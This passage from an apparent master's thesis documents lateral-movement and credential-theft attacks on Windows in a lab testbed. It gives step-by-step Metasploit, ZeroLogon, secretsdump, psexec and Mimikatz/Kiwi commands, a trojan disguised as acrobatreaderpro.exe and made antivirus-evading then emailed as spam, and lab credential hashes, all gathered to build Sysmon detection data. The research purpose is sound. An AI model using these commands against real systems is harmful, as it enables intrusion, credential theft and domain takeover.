Chimera, have been identified for exploiting vulnerabilities in internet-exposed de-

vices, like web servers, for illicit activities. Specifically, the BackdoorDiplomacy APT

Group employs the Moriya rootkit to install a passive backdoor, enabling cybercrim-

inals to scrutinize incoming traffic on the compromised system [31]. This type of

cyber espionage often involves LM within a network to deploy a custom implant, such

as Turian, designed for extracting sensitive data from removable media for reasons

like competitive advantage, economic gain, or political motives. In many cases, these

attacker groups utilize open-source reconnaissance and red-team tools, often target-

ing regional diplomatic organizations for information gathering purposes. It seems

targeting the regional diplomatic organizations in Asia and Africa, as they have

used a great number of credential compromising malware against several countries’

Ministries of Foreign Affairs, and rarely in multinational telecommunication com-

panies. In addition, Chimera is targeting in data, such as documents on Integrated

Circuits (ICs), Software Development Kits (SDKs), IC designs, source code, etc.,

useful and important for nation-states, stealing them by the use of sophisticated

intrusion tactics and techniques. Recently, the North Korean APT group APT37

distributed a cloud-based variant of RokRat, steal data, sending them to cloud ser-

vices [18].

Still, due to the lot of vulnerabilities in Microsoft Windows operating systems,

the up-to-date MITRE’s ATT&CK list lends us a helping hand to concentrate in

the most identified and hazardous network scanning and credential compromising

techniques, such as XTunnel tool [69] that reveals open port and malware vulner-

abilities. Specifically, SMB Authenticated Remote Code Execution and RDP are

two popular gaps in Windows security protocols, that have been implemented in a

large variety of malware applications, with little latency in expanding and spreading

across the targeted network and great impact of compromised hosts.

In the exploration of the “ZeroLogon” vulnerability, a combination of open-source

tools and targeted LM strategies were employed, including Impacket, the Metasploit

Framework, and Mimikatz. As detailed in 4, these tools were utilized to effectively

exploit remote services within a controlled testbed environment. Specifically, the

“ZeroLogon” zero-day vulnerability was leveraged to target the SMB protocol on a

system running an unpatched version of Windows Server 2019. The initial exploita-
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tion of SMB was conducted using the Metasploit Framework, a component of the

Kali Linux 2023.1 distribution, which is comprehensively examined in 5.

By incorporating a plethora of modules, the Mimikatz platform facilitates impor-

tant attacks, letting intruders perform a wide range of tasks on the target endpoint.

Some of these tasks are: PtH, PtT, Kerberos Golden Ticket (GT), Kerberos Silver

Ticket (ST), etc.

3.1.2.2 Pass the Hash

PtH is a credential theft that uses an iterative two stage process, where the in-

truder obtains local administrative access at least on one device, and then attempts

to increase access to others on the network by reusing the stolen credentials. This

technique capitalizes on acquiring an NTLM hash, utilized by Windows to manage

passwords, thereby enabling attackers to repurpose the password without the ne-

cessity to decipher the hash. This is achieved through the deployment of Mimikatz,

which facilitates the presentation of the hash string to the targeted system.

Therefore, this hash transmission method provides account identification and cre-

dential’s integrity check, overriding the traditional path, as it uses the hash algorithm

encrypted character chains for the host authentication. This hash distribution in-

stead of plaintext account credentials is considered as a tough-to-crack identification

and authentication method. Despite the robust authentication with hash algorithms

that uses Microsoft by the storing of passwords as hashes, the developed penetration

techniques allow the collection and extraction of all valid account related hashes in

total. While the steps following a PtH attack exhibit considerable uniformity, the

tools and strategies employed to acquire administrative privileges on the initial de-

vice demonstrate a range of variability. Thus, if a low value device will be used as an

end user workstation, it is quite possible the entire AD to be compromised, leading

to escalation of privilege up to a top-level AD Administrator [22].

In this thesis, the four most common Credential Access attacks were executed.

In more detail and fully in line with the corresponding MITRE ATT&CK reference

table [7] Brute Force attack which falls into the Password cracking category was

exploited as the PtH attack. Along the same lines, according to [65] that is referred

to Steal of Forge Kerberos Tickets category, executed as the PtT attack. As part of

the later stages of the attack, both Golden and ST techniques were employed.

In the subsequent phases of the attack, the strategies known as GT and ST

attacks were implemented. Additionally, a PtH attack was carried out against a

virtual client, identified as STA 5, running Windows 10 Evaluation Edition x64-Bit.

The user account stefalti, previously active on this VM, was singled out for the

attack using the Mimikatz tool. Originally developed by Benjamin Delpy [27] for

educational and exploratory purposes in Windows security, Mimikatz has evolved
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into a potent and multifaceted tool for penetration testing.

Extraction of NTLM hashes credentials that are stored in targeted Windows 10

machine was an easy task using the PtH technique via Mimikatz tool, that was also

able to crack all the encrypted passwords with brute-force techniques in cleartext.

Section 5 will comprehensively show all phases of the successful implementation

of the PtH attack using Mimikatz, supported by explanatory pictures. To the best

of our knowledge, the following subsection provides a concise overview of the LSASS,

a vital component of the Windows credential administration system. The LSASS is

responsible for the security policies on the system. More specifically, it is the key

feature for verifying users log on to a Windows system, handling password changes

as well as creating password tokens. With a wrong password entry during a user

login on Windows PC, the message “Password does not match” is displayed by

Lsass.exe process. There is also a possibility for a user to lose access to all accounts

on the Windows machine in case that lsass.exe process fails.

To the best of our knowledge, a typical NTLM hashvalue consisting of four distinct

part that demonstrated as follows according to the pieces of information we will

retrieve with Impacket tool in Section 5. It is also depicted in Figure 3.3 as Impacket

result and in Figure 3.4 as Mimikatz result from a metrrpreter shell:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:41db816e190f2a669d0fde4b84a83519:::

• Administrator:is the username of user account

• 500: is the identifier related to the user account from.

• aad3b435b51404eeaad3b435b51404ee: is the type of hash used in Windows

versions prior 10, the LM hash.

• 1db816e190f2a669d0fde4b84a83519: is the NTLM Hash
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Figure 3.3: NTLM credential extraction via Impacket tool

Figure 3.4: NTLM credential extraction via Kiwi-Mimikatz
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3.1.2.3 Pass the Ticket

The PtT technique represents an advanced method of attack wherein adversaries

acquire credentials without authorization, facilitating LM across a network and the

elevation of privileges. This strategy, aimed at compromising the Kerberos au-

thentication protocol, involves unauthorized acquisition and utilization of Kerberos

Tickets. Attackers leverage tools such as Mimikatz to obtain these tickets, facilitat-

ing unauthorized access to network resources under the guise of a legitimate user.

Unlike the PtH technique, PtT specifically targets the Kerberos protocol, seeking

to bypass traditional access control mechanisms and potentially acquire adminis-

trative privileges on targeted systems. The PtT attack unfolds through a series of

steps designed to exploit the Kerberos authentication system, primarily utilized in

Active Directory (AD) environments for secure client-server interaction. The attack

comprises the following phases:

1. Ticket Acquisition: At first, a Ticket Granting Service (TGS) user’s Ker-

beros ticket is captured by the attacker from the memory of the LSASS.exe

process. This step is facilitated by tools like Mimikatz, exploiting the Kerberos

protocol’s reliance on ticket-based authentication.

2. Ticket Injection and Reuse: Following acquisition, the attacker injects the

stolen TGS ticket into their current session using commands such as kiwi cmd

kerberos::ptt within a Meterpreter shell or equivalent tools. This manipu-

lation effectively impersonates the legitimate ticket holder, allowing unautho-

rized access to resources.

3. Internal Reconnaissance: With the ticket injected, the attacker conducts

reconnaissance to identify accessible resources. This involves examining the

specific permissions and access rights granted by the stolen ticket, potentially

requiring enumeration of AD components and user privileges.

4. Resource Access and LM: Finally, leveraging the stolen credentials, the

attacker moves laterally within the network, accessing resources and further-

ing their malicious objectives. This stage often involves exploiting additional

vulnerabilities or leveraging existing network permissions.

Kerberos, integral to Microsoft Windows, provides a robust framework for mu-

tual authentication and secure communication in potentially hostile network envi-

ronments. However, the PtT attack underscores vulnerabilities within this protocol,

particularly the reliance on ticket integrity and confidentiality. By stealing and

reusing Kerberos tickets, attackers circumvent traditional authentication mecha-

nisms, posing significant security risks.
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Mitigating PtT attacks requires a multifaceted approach, including regular mon-

itoring of network activity, stringent access controls, and frequent password resets

for sensitive accounts like krbtgt. Additionally, employing advanced security mea-

sures such as anomaly detection and implementing “Least Privilege” principles can

significantly reduce the attack surface and impede unauthorized access.

In essence, the PtT attack exemplifies the sophisticated techniques employed

by adversaries to exploit systemic vulnerabilities in authentication protocols. Un-

derstanding and addressing these challenges is crucial for securing network envi-

ronments against unauthorized access and ensuring the integrity of authentication

mechanisms.

3.1.3 Kerberos Authentication in Windows Servers

The Windows Server versions 2022, 2019, and 2016 incorporate the Kerberos

version 5 authentication system and its improvements, which enhance security by

enabling public key authentication, transportation of authorization data, and del-

egation. This authentication client, framed as a Security Support Provider (SSP),

is accessible via the Security Support Provider Interface (SSPI), with user authen-

tication seamlessly integrated within the Winlogon single sign-on architecture. The

primary purpose of setting up an Key Distribution Center (KDC) in a domain is to

enable seamless communication with Windows AD Domain Services, highlighting

the protocol’s crucial role in ensuring the security of the domain.

3.1.4 Understanding PtT Attacks

PtT attacks exploit the Windows operating system’s architecture, particularly

how Kerberos tickets are managed and stored within the lsass process. Successful

execution of this attack hinges on the attacker’s ability to interact with lsass to

request and retrieve legitimate tickets. The scope of ticket acquisition is influenced

by the privilege level of the compromised account; standard user accounts result in

the acquisition of a singular ticket, whereas administrative accounts allow for the

harvesting of all tickets pertinent to the server in question. Tools such as Mimikatz

and Rubeus are instrumental in this context, with Rubeus specializing in direct Ker-

beros engagements and the exploitative handling of tickets, marking a sophisticated

approach to system intrusion and credential misuse.
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3.1.5 Exploring the GT Attack in Kerberos-Authenticated

Environments

The GT attack merges techniques from PtH and PtT attacks, significantly bol-

stered by Mimikatz’s capabilities. This attack targets the Kerberos authentica-

tion protocol, enabling adversaries to counterfeit Ticket Granting Ticket (TGT)s by

compromising the KRBTGT account, a critical component of AD’s authentication

mechanism. This breach permits attackers to fabricate and authenticate Kerberos

tickets, facilitating unauthorized LM and privilege escalation without detection.

The Kerberos protocol, which encrypts and signs communications using shared

secrets by the KDC, is particularly vulnerable when the KRBTGT account’s pass-

word hash is compromised. Successful exploitation, as outlined by MITRE, hinges

on obtaining administrative control over the target system.

Advancements in post-exploitation toolkits, such as CME, have simplified net-

work reconnaissance and LM for attackers with minimal technical expertise. Nonethe-

less, the paramount challenge for attackers remains the stealthy maintenance of

network presence post-initial compromise.

GT attacks commence following the compromise of a network entity, leveraging

methods like phishing, exploitation of exposed vulnerabilities, or malware introduc-

tion. The indistinguishability of Kerberos tickets utilized in these attacks compli-

cates their detection.

Fundamentally, this attack affords control over AD’s KERBeros Ticket Granting

Ticket (KRBTGT), enabling the forging of TGTs for unrestricted network access

and ticket generation, allowing attackers to indefinitely masquerade as privileged

users.

Characteristics of the GT attack include its offline generation capability, immu-

nity to standard Kerberos policy limits, potential integration with PtT for expanded

access, non-requirement of privileged access for execution, resilience against pass-

word resets of impersonated accounts, vulnerability only to KRBTGT secret key

resets, and evasion of conventional Windows logging mechanisms.

This study employs the Kiwi tool, an evolution of Mimikatz, in conjunction with

the Metasploit Framework’s meterpreter extension for the streamlined execution of

the GT attack.

3.1.6 The ST Attack: Exploiting Kerberos within AD

The ST attack merges elements from PtH, PtT, and the GT methodologies, tar-

geting vulnerabilities within the AD’s use of the Kerberos authentication protocol.

This specialized form of cyber assault enables unauthorized impersonation with ele-

vated privileges by generating a counterfeit TGS Kerberos ticket for specific services
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on the targeted server, usually following the compromise of host credentials.

First identified in 2014 by cybersecurity researcher Benjamin Delpy, also known

under the pseudonym ’gentilkiwi’, this attack was introduced alongside innovations

in the Mimikatz penetration testing tool. The ST distinguishes itself as a post-

exploitation tactic that requires prior access to, and privilege escalation within, the

target system to be executed successfully. Unlike its counterpart, the GT, which

facilitates broad authentication across any service relying on Kerberos, the ST’s

application is intentionally narrow, focusing on impersonation for a singular service.

The methodological stealth of the ST is one of its defining advantages. By en-

crypting the TGS with the specific key of the targeted server, it operates without

necessitating interaction with the Domain Controller, thus minimizing detection

risks. The prerequisite hash for this operation is notably easy to acquire, further

enhancing the attack’s feasibility.

Key techniques associated with this form of attack include:

• Pass-the-Key: Acquiring a unique key used by a user for authentication with

a domain controller, allowing the attacker to impersonate the user by utilizing

this key.

• Over-PtH: A nuanced version of the PtH technique, where the attacker em-

ploys a unique key from a domain controller to mimic a victim.

• Pass-the-Cache: Operating similarly to the PtT technique, it leverages

cached and encrypted login data on systems like OS X, Linux, and UNIX

for impersonation purposes.

For the empirical component of this thesis, the Kiwi module, a subsequent devel-

opment of Mimikatz, will be applied in conjunction with the Metasploit Framework’s

meterpreter extension. This approach is aimed at demonstrating the practical ap-

plication of the GT attack, reflecting on the continuous evolution of cyber threat

mechanisms.
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Chapter 4

Testbed Development

4.1 LM Testbed

A virtual lab (testbed) with a number of stations was developed to accurately

simulate a network infrastructure for the demonstration needs of the Windows-

based LM attacks and the collection of the data required for the documentation of

the attacks.

To implement our architecture, 8 different machines, both physical and virtual,

were used. To the best of our knowledge, an Ubuntu Desktop 20.0.4 LTS, a Kali

Linux Laptop 2022.4 LTS and a Windows 10 Evaluation 64bit Desktop were used as

client workstations. Of the aforementioned, 3 of them, running Ubuntu distribution

and Windows 10 OS were the target machines, Kali was used as the attackers’

interface, while Windows 2019 Server Evaluation Edition was used to disrupt the end

target of the malicious LM. Finally, a Speedport Plus Router played an important

role in the above development procedure, as all machines were wirelessly connected

to the same network. The whole process is depicted in Figure 4.1.
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Figure 4.1: High-level architecture of the testbed network topology

The establishment of the testbed laboratory necessitated the critical setup and

activation of the Sysmon tool [39] on the Windows 2019 Server. This installation

process was replicated for five client stations, each provisioned with credentials to

facilitate connection to each respective Virtual Machine (VM). For the purpose of

emulating our network environment, the Windows Server 2019 Evaluation Edition

was deployed on a VM serving as the server station, as illustrated in Figure 4.2.

After this, Figure 4.3 displays the four client VM stations that were configured,

each designated for a distinct user account. Furthermore, Table 4.1 outlines the

specific role and utilization of each station.

Figure 4.2: Windows Server 2019 Evaluation Edition info
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Figure 4.3: Client STA VM stations in Windows Server 2019 Evaluation Edition

Figure 4.4 demonstrates the creation and initialization of the appropriate ac-

counts using the Windows Server Account management utility service. These ac-

counts were established while connecting to the stefania.local domain.

Figure 4.4: Windows Server 2019 Account Management Service
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In order to facilitate the execution of diverse credential theft attacks, including

PtH, PtT, GT, and ST attacks, conducted using the Mimikatz tool, domain admin-

istrative privileges were conferred upon each of the server accounts within the target

network. This configuration is depicted in Figure 4.5.

Figure 4.5: STAs networks administrator credential rights
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Chapter 5

Implementation of Lateral

Movement attack in Windows OS

5.1 Execution of LM Techniques on MS Windows

Environments

5.2 Exploitation of Remote Services

Potential attackers often target Microsoft Windows systems’ remote services to

illicitly gain entry to various network nodes. Such exploitations typically succeed

when these adversaries capitalize on an exposed weakness of the target system, be

it documented or undisclosed. To ascertain the vulnerability of a system, attackers

deploy several reconnaissance techniques, aiming to identify outdated operating sys-

tem components or even an absence of contemporary IDS and antivirus applications.

Prominent among these techniques are port scanning and vulnerability assessment

tools, which can be remotely implemented on the compromised system. While many

nodes might be susceptible, server nodes are often perceived as the high-value tar-

gets in a LM strategy, usually serving as the terminal point for an attacker after

initial network entry and subsequent system-to-system navigation.

The numerous versions of the Microsoft Windows Operating System have their

fair share of known vulnerabilities. Particularly, the SMB, Authenticated Remote

Code Execution (RCE), and the RDP are among the most frequently misconfigured.

In this study’s scope, the exploitation of remote services was assessed against a

designated testbed, as elaborated in the rest of this chapter.
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5.2.1 Exploitation with generic module “multi handler”

The initial step for a successful PtH attack was to gain remote access to the target

machine that a user has administrator privileges. First, a payload was created, using

Metasploit in Kali VM to open a secure shell in victims’ machine. In more detail,

after obtaining the appropriate IP address and specifying the interface as eth0 as

shown below (Figure 5.1) a payload was generated using msfvenom, the port was set

to an appropriate one and IP to the public or local IP depending on the target. The

objective of the crafted trojan is to establish a connection to a specified IP address

and port upon execution.

Figure 5.1: Attackers’ IP address in Kali Linux VM machine

As it is shown in Figure 5.2, a Trojan is generated in the desktop. More precisely,

the command directs msfvenom to produce a 32-bit Windows executable that fa-

cilitates a reverse TCP connection for its payload. It is requisite to designate the

format as an executable (.exe) type, and to specify the Local Host (LHOST) and

Local Port (LPORT). In this instance, the LHOST corresponds to the IP address of

the attacker’s Kali Linux machine, while the LPORT is set to monitor for incoming

connections from the compromised target.

Figure 5.2: Payload creation using msvenom
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To bypass the detection of the infected file as malicious by Windows 10 security

mechanisms, an encryption strategy was used. This process modified the signatures

of the executable file from their recognizable malicious form to an entirely new and

unique signature. More specifically, after the installation of Shellter software in Kali

machine, it was required to enter the absolute path to the executable file that in our

case is acrobatreaderpro.exe to make it Fully UnDetectable (FUD). The next

step was to choose the payload that in our case is a meterpreter reverse tcp and to

set the proper LHOST and LPORT parameters. At this point, the executable file in

question has been rendered undetectable by the antivirus software. As a result, the

Trojan file that was created in the beginning is capable of bypassing the antivirus

detection as is detailed presented in Figure 5.3, 5.4, 5.5.

Figure 5.3: Set the target infected file to be FUD

Figure 5.4: Choose the payload and set the LPORT, LHOST parameters
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Figure 5.5: Verification of undetectable acrobatreaderpro.exe to antivirus programs

After the FUD procedure, Metasploit was used to gain remote access to the

Windows 10 target machine using generic payload handler “multi/handler”. As pa-

rameter settings concerns, the payload is set properly in order to match the one

set within the executable file, acrobatreaderpro.exe using the command set pay-

load windows/meterpreter/reverse tcp while the LHOST and LPORT are also set

to 192.168.1.17 and 4444 correspondingly (Figure 5.6) and the exploit was ready to

run.

Figure 5.6: Verification of undetectable acrobatreaderpro.exe to antivirus programs
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The next goal was that the infected file to be executed from a Windows perspec-

tive. For that purpose, as shown in Figures 5.7 and 5.8 a Trojan file was uploaded

to a drive and was sent to a victims’ email (as a spam).

Figure 5.7: Spam email delivered by victim

Figure 5.8: Executing payload from Windows 10 perspective

The final goal of getting remote access is to carry out the privilege escalation pro-

cedure, which involves upgrading privileges from a user with lower privileges to one

with higher privileges, preferably the Administrator or SYSTEM user. Figure 5.9 is

shown that the user is running on Windows 10 as “user” while the second command

reveals the information of the target machine.
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Figure 5.9: Executing payload and privilege escalation

5.2.2 Exploitation of “ZeroLogon”

On August 11, 2020, Microsoft addressed a significant vulnerability in the Netlo-

gon protocol, identified as CVE-2020-1472, which allowed for remote code execution.

Commencing from the security update released on February 9, 2021, Domain Con-

trollers will transition to enforcement mode. This adjustment mandates that all

devices, irrespective of their operating system, establish a secure Remote Procedure

Call (RPC) via the Netlogon secure channel, unless an explicit exception is made for

any device that does not comply with this requirement. Consequently, this security

measure theoretically obstructs adversaries from establishing a connection with the

AD’s Netlogon Remote Protocol (MS-NRPC) and authenticating via NTLM.

Taking advantage of ZeroLogon vulnerability, the exploitation procedure started

by initializing Metasploit Framework with root privileges on Kali Linux machine.

Then a search was performed in order to find the appropriate module so as net-

bios name of Windows Server 2019 is revealed. To this end, parameter RHOSTS

was set to the IP of the target and the exploit was run using the following commands:

msfconsole()

search nbmame

use auxiliary/scanner/netbios/nbname

Once completed, netbios name of the server is detected. The whole process is

depicted in Figure(s) 5.10.
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Figure 5.10: Exploitation procedure for detecting netbios name

Next search was a ZeroLogon module in order to find the vulnerability we were

interested in.

The appropriate parameters such as RHOSTS and NBNAME were set in or-

der to exploit the vulnerability. In more detail, the first parameter was set to

192.168.1.14 referring to the Windows 2019 servers’ IP address and the second to

WIN-0SBKADTJ0O5 which is the netbios name that was found in the previous

step. Target was found vulnerable to Zerologon while further, parameter ACTION

was set to REMOVE to successfully set an empty password to the Windows 2019

servers’ domain. The whole process is demonstrated in Figures 5.11

search zerologon

use auxiliary/admin/dcerpc/cve 2020 1472 zerologon

Figure 5.11: Target’s vulnerability to Zerologon and empty password setting
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The same procedure was carried out using an automated tool written in Python [70].

As demonstrated in Fig 5.12, the appropriate python file was executed, followed by

parameters -n and -t where servers’ domain name and IP were set correspondingly

extracting the following command:

python3 ./cve-2020-1472-exploit.py -n WIN-0SBKADTJ0O5 -t 192.168.1.14

Figure 5.12: Target’s vulnerability to Zerologon using automated tool

After the target server was found vulnerable, the goal was to dump the NTLM

hash. To that end, impacket which is a collection of Python scripts that can be used

by an attacker to target Windows Network Protocol, was installed in attackers’

machine.It is of high importance to be referred to the use of secretsdump python

script in the process of extracting local users’ NTLM hashes from the server using

the following command, as shown in Figure 5.13.

secretsdump.py -no-pass -just-dc

stefania.local/WIN-0SBKADTJ0O5$@192.168.1.14
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Figure 5.13: Domain users’ NTLM hashes of the targeted server (1)

Exploitation of Zerologon is considered as a successful one as Meterpreter session

is opened after the execution of impackets’ wmiexec python script [26], used to open

a shell on a target host. The remote connection and command execution requires

using an NTLM hash, as demonstrated in Figure 5.14.
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Figure 5.14: Gain access to target host using wmexec command

The verification process proving that the compromised system was the Windows

Server 2019 is shown in Figure 5.15 executing the systeminfo command:

Figure 5.15: Verification of compromised Windows 2019 Server
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5.2.3 Exploitation of vulnerability with code smb login and

executable command in Metasploit “use auxiliary/s-

canner/smb/smb login”

As the point is to dump the NTLM hash of the targeted server, impacket [26]

which is a collection of python scripts that can be used by an attacker to target

Windows Network Protocols was installed in attackers’ machine. In the end we

have achieved to get all the NTLM hashes of targets’ domain users as it is shown in

Figure 5.16 using the above command.

sudo secretsdump.py -no-pass ‘WIN-0SBKADTJ0O5$@192.168.1.14’

Figure 5.16: Domain users’ NTLM hashes of the targeted server

The next step is to use the smb psexec exploit module in order to obtain access

to the target system as credentials are already known using following commands:
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search psexec

use exploit/windows/smb/psexec

The appropriate parameters were set in order to exploit the vulnerability. More

specifically, PAYLOAD was set to windows/x64/meterpreter/reverse tcp, RHOSTS

to 192.168.1.14, which is the Windows 2019 servers’ IP address. Parameters SMB-

PASSWORD and SMBUSER were set from impackets’ secretsdump to aad3b435b51-

404eeaad3b435b51404ee:41db816e190f2a669d0fde4b84a83519 andAdministrator cor-

respondingly. Once all settings were correct, exploitation was ready to be done as

it is shown in Figures 5.17

Figure 5.17: Parameter settings to obtain access to a target system

The Windows 2019 server was successfully exploited using the same hash, while

the result is an open meterpreter session, depicted in Figure 5.18).

Figure 5.18: Exploitation procedure for obtaining access to a target system
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5.3 Credential Exploitation Attacks

In the context of this master’s thesis, we examined a number of specific credential

exploitation methods concerning PtH, PtT, GT and ST. For our rule-based analysis,

a dataset consisting of 254,412 Sysmon logs was curated, each representing an hour-

long execution of the aforementioned techniques. To elucidate the unique features of

these experiments, we rigorously adhered to each sub-category of the Mitre’s T1550

Technique [35].

Our methodology employed the Mimikatz software, a choice motivated by its

widespread use among cyber adversaries, its various iterations (including its GitHub

legacy edition, PowerShell Invoke-mimikatz) and its compatibility with the Metas-

ploit framework.

5.4 Execution of PtH Attack and Successful Ac-

cess to the System Under Attack

Malevolents’ user main goal is to capture valid password hashes in order to suc-

cessfully passes it through authentication and move laterally within a network using

a technique described as PtH attack. Attempts are made by threat actors, usually

based on injecting captured credentials into the memory of an attacker-controlled

machine. In more detail, the aforementioned credentials are either the username

and the hash of the corresponding password, or Kerberos Tickets that were gath-

ered illegally beforehand.

Afterward, the normal service authentication mechanism takes place using the

injected credentials. The main goal of a PtH attack is to gain access to a network

in Windows-based domains without being authorized. This type of attack may

remain undetectable when accessing network resources until the original password

is changed by the user or administrator, since no invalid logins occur. This type of

technique is often achieved by utilizing the circumstances that follows:

• Steal\Capture procedure of valid credentials such as username, password hash,

ticket, (e.g. through malware)

• Access to an appropriate component inside the target network infrastructure

without prior SSOauthentication

• Injection capability or use of captured credentials in the procedure for service

authentication with regard to network resources
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5.4.1 Execution of PtH attack

5.4.1.1 Capturing NTLM Hashvalues

The first step towards the execution of PtH attack by the threat actor is the

capture of the NTLM hash values from an already compromised system. To this

end, Kiwi, a later implementation of Mimikatz [27], is proposed as an appropriate

one to perform the extraction of LSASS dump authentication information. In the

context of this thesis, Kiwi was the basic tool that utilized for the execution of PtH,

PtT, GT and ST attacks.

5.4.1.2 Loading of Kiwi in attacker’s Machine

For the execution of the PtH attack, we took advantage of the Zerologon exploita-

tion, implemented in Metasploit Framework, that opened a meterpreter shell that

allows us to load Kiwi in order to gain access to the Windows Server 2019 target

machine.

5.4.1.3 Hashvalues Password Extraction from LSASS.exe

One of the most popular methods to dump hashes from the targeted host’s mem-

ory is the hash password extraction from the LSASS.exe process memory. Adminis-

trative rights to the targeted host must have been compromised by the threat actor

beforehand in order we can use this technique with Kiwi.

More specifically, the above process can be implemented by the execution of Kiwi

in the already opened meterpreter shell with root privileges. The command that

follows, as depicted in Figure 5.19, initialize Kiwi tool.

load kiwi, for Kiwi execution via meterpreter shell

Figure 5.19: Execution of load kiwi command

Similarly, the command that follows is responsible for the acquisition of root

privileges to the malicious user of the tool.
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kiwi cmd privilege::debug, for administrative privileges acquisition

In case that administrative rights have been successfully acquired with the above

executed commands then the above message will appear in the terminal:

Privilege ‘20’ OK

Acquisition of admin privileges, as well as the extraction of password hashes from

LSASS.exe process memory, are presented in Figure 5.20 with the execution of the

following command:

kiwi cmd sekurlsa::logonpasswords

Figure 5.20: Acquisition of admin privileges and extraction of password hashes with
Kiwi tool (1)
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Figure 5.21: Acquisition of admin privileges and extraction of password hashes with
Kiwi tool(2)

As demonstrated above (Figure 5.20) all the information that is required for the

implementation of the PtH attack has been revealed.

In more detail, the extraction of kiwi cmd sekurlsa::logonpasswords command

revealed the credential information for the stefalti targeted account.

• Username: stefalti

• Domain: STEFANIA

• NTLM: aad3b435b51404eeaad3b435b51404ee:41db816e190f2a669d0fde4b84a83519

• Password: As12345!

The stolen NTLM hash password will be utilized in the next stages of the PtH

attack to get access to the target having knowledge only of the aforementioned data.

5.4.1.4 Implementation of PtH attack

For the PtH technique execution process, the NTLM hashvalue of the stefalti

targeted account that was stolen beforehand was a key information in order the

attacker is allowed to be authenticated as a legitimate user.

In this part of the present master’s thesis, the goal of PtH attack was to launch

the command line of the targeted Windows 2019 Server, although it generally can

be used as a method to compromise any other resource in that NTLM hash au-

thentication is required. For the proper implementation of PtH attack the below

command was executed, followed by parameters sekurlsa, user, domain and ntlm

that were set appropriately.

kiwi cmd sekurlsa::pth /user:stefalti /domain:stefania.local

/ntlm:41db816e190f2a669d0fde4b84a83519
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Figure 5.22: Execution of PtH attack

As it is demonstrated in Figure 5.22 the execution of the PtH technique is suc-

ceeded and a new command prompt terminal window with administrative privileges

was opened. The main usage of this cmd is the direct or remote command execution

to the tageted using the adequate tools or modules (e.g.PSExec). While the PtH

attack was being performed, basic Windows-based commands are executed from the

open meterpreter shell in the attackers’ enviroment. In more detail, regarding target

machine command such as whoami displayed user, group and privileges information

related to the user who is currently logged on, ipconfig revealed the IP address while

dir was used to demonstrate the contents of the Download folder as it is shown in

Figure 5.23

Figure 5.23: Execution of PtH attack
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5.4.2 PtT Execution

PtT involves the acquisition of Kerberos Service Tickets and TGTs, with the

scope of access contingent upon the compromised host’s level of permission. As

elucidated, a service ticket facilitates access to specific resources, while a TGT is

instrumental in soliciting service tickets from the TGS for any resource to which

the user is authorized. PtT is intrinsically linked to GT and ST attacks, which are

elaborated upon in subsequent sections of this thesis.

The PtT technique shares similarities with PtH in terms of execution, particularly

in the use of Mimikatz. However, a notable distinction lies in the temporal extent

of access granted through the compromised host. PtT is characterized by a finite

exploitation window, with Kerberos TGTs typically expiring after 10 hours. Con-

versely, PtH access is not time-bound, as it pertains to hashes that remain constant

over time.

5.4.2.1 Stealing of the List with All the Existing Kerberos Tickets

PtT attack was executed from the attacker’s station towards Client STA 1. In

order to meet the needs of this attack as well as for Kiwi’s minimum “Privilege

‘20’ OK” requirements, escalated privileges have been acquired at the Windows 10

Evaluation Edition (Client STA 1). For simplicity purposes, PtT attack was based

on the already executed and presented Zerologon exploit on the targeted Windows

2019 Server.

In this thesis, kiwi [27], the latest implementation of Mimikatz was the basic

tool that were used for the implementation of PtH, Golden and ST attack. The

aforementioned tools are usually utilized for Kerberos tickets extraction as well as

PIN codes from volatile memory of Windows 10.

5.4.2.2 Loading Kiwi on targeted Windows Server 2019 remotely

For the execution of the PtT attack, we took advantage of the already executed

Zerologon attack, implemented in Metasploit Framework that via PsExec module

opened a meterpreter shell that allows us to load Kiwi tool in order to obtain remote

access to the Windows Server 2019 target machine.

5.4.3 Kiwi Execution and Extraction of Kerberos Tickets

In order to successfully utilize Kiwi tool for applying Kerberos ticket extraction

technique, the threat actor must have compromised administrative rights to the

targeted Windows 2019 server machine. This was achieved through the successful

execution of Kiwi tool via the attacker’s terminal from an open meterpreter remote
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shell using Metasploit Framework. The aforementioned steps as well as the executed

commands are shown below (Figure 5.24):

load kiwi, for Kiwi execution via meterpreter shell

Figure 5.24: Execution of load kiwi command

Similarly, the command that follows is responsible for the acquisition of root

privileges to the malicious user of the tool.

kiwi cmd privilege::debug, for administrative privileges acquisition

In case that administrative rights have been successfully acquired with the above

executed commands then the above message will appear in the terminal:

Privilege ‘20’ OK

For the successful implementation of PtH attack, Kiwi tool was utilized for the

extraction of all Kerberos tickets into a specified folder to be used in a subsequent

stage for the final exploitation of the Kerberos ticket authentication process. Specif-

ically, commands that follows have been used for dumping of all Kerberos tickets

into Kiwi’s execution folder as it is shown in Figure 5.25:

• load kiwi

• kiwi cmd privilege::debug

• kiwi cmd sekurlsa::tickets /export
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Figure 5.25: Execution of Kerberos Tickets in specified folder

The .kirbi extension that was found in extracted files filenames constitutes proof

of the existence of tickets related to Kerberos authentication protocol.

The result of the extraction of .kirbi files indicating by a message that appeared

in Kiwi’s command line as it is demonstrated in the Figure 5.26 that follows:

Figure 5.26: .kirbis’ files extraction

The above attack executed unsuccessfully as the proposed kerberos::ptt command

didn’t run in Kiwi enviroment.
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5.4.4 GT Attack Execution and Successful Access to the

targeted Windows 10 System

As already mentioned, Kiwi supports the execution of the already mentioned at-

tack as well as the creation of a GT. The latter was created for the exploitation of the

Kerberos vulnerability of the stefalti account on the targeted STEFANIA.LOCAL

domain network. The presented attack is a combination of the already presented

PtH and PtT attacks, while for generating the GT, a minimum of four pieces of

information is required. Additional information can be added for customization,

but the generation process needs at least the elements below:

• Domain Name

• Domain SID

• krbtgt account’s NTLM hashvalue

• Chosen username to impersonate

5.4.4.1 GT Execution

The most challenging part of the GT attack is acquiring the KRBTGT password

hash, which requires obtaining privileged access to a Domain Controller (DC). Once

the adversary gains remote access to the DC via Metasploit’s PsExec module, Kiwi

can be executed through meterpreter shell.

The first step to collect key information that is crucial to the implementation of

GT attack is the execution of creds all and kiwi cmd “sekurlsa::logonPasswords full”

commands in kiwi environment. In more detail, using the first command, credentials

for STEFANIAs target domain and user account stefalti that is about to be imper-

sonated were retrieved, while the second command lists all recently logged on user

and computer credentials included targeted user including information such as the

NTLM password hashes for both STEFANIA target domain and user account ste-

falti, as well as the domain name and SID of the target domain (Figures 5.27& 5.28).
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Figure 5.27: Credentials of all user accounts

Figure 5.28: Targeted networks Domain name, SID and NTLM hash

The command that follows is responsible to dump all AD domain credentials
